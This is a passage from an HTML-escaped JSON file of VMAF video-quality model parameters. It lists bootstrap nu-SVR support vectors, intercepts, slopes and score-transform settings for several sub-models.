4:0.77691812 5:0.81043483 6:0.8177009 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.72816168 2:0.047285912 3:0.47217411 4:0.83138845 5:0.8704229 6:0.88419439 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.90057657 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n4 1:0.4807615 2:0.083369236 3:0.30044264 4:0.41587284 5:0.5230585 6:0.59468942 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;10&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 211\nrho -1.49832\nSV\n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n-4 1:0.63920442 2:0.20629643 3:0.16825499 4:0.55661206 5:0.69111529 6:0.7656762 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n-4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n-4 1:0.69004118 2:0.23066177 3:0.43933868 4:0.56327049 5:0.65339511 6:0.71348696 \n-4 1:0.80929502 2:0.08765484 3:0.52947327 4:0.7501341 5:0.82294191 6:0.86264385 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n-4 1:0.74425089 2:0.014623935 3:0.78900741 4:0.90386551 5:0.96905764 6:0.98466408 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n-4 1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n4 1:0.80993214 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 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4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n-4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n-3.884630988020474 1:0.4807615 2:0.083369236 3:0.30044264 4:0.41587284 5:0.5230585 6:0.59468942 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;11&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 212\nrho -0.882043\nSV\n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n4 1:0.9418574 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n2.641410934967968 1:0.37333711 2:0.23066177 3:0.29022709 4:0.26882214 5:0.30809596 6:0.35304275 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n0.2179413352761508 1:0.74673262 2:0.20629643 3:0.21465833 4:0.65034545 5:0.76692184 6:0.82551595 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n-4 1:0.37392021 2:1 3:0.10644455 4:0.21484368 5:0.25587544 6:0.27527817 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n-4 1:0.85632141 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n1.00181772908222 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n-4 1:0.75431872 2:0.083369236 3:0.42082971 4:0.66591147 5:0.77995959 6:0.84260661 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n4 1:0.85573143 2:1 3:0.37381485 4:0.7891612 5:0.87031145 6:0.90944281 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n-0.6175788723658556 1:0.71258735 2:0.22767235 3:0.1864032 4:0.58471122 5:0.67581508 6:0.72558613 \n4 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-1.486841994841118 1:0.78167533 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.62949394 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3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n1.449927496577411 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.51733002 2:0.047285912 3:0.41965074 4:0.71632669 5:0.73953043 6:0.73487553 \n4 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n4 1:0.88220599 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n-4 1:0.40634904 2:0.04579546 3:0.35412414 4:0.55926446 5:0.70175505 6:0.79649177 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.85632141 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n4 1:0.85559183 2:0.20629643 3:0.30562098 4:0.80541317 5:0.89285836 6:0.92907353 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;12&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 211\nrho -1.3827\nSV\n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:0.91061528 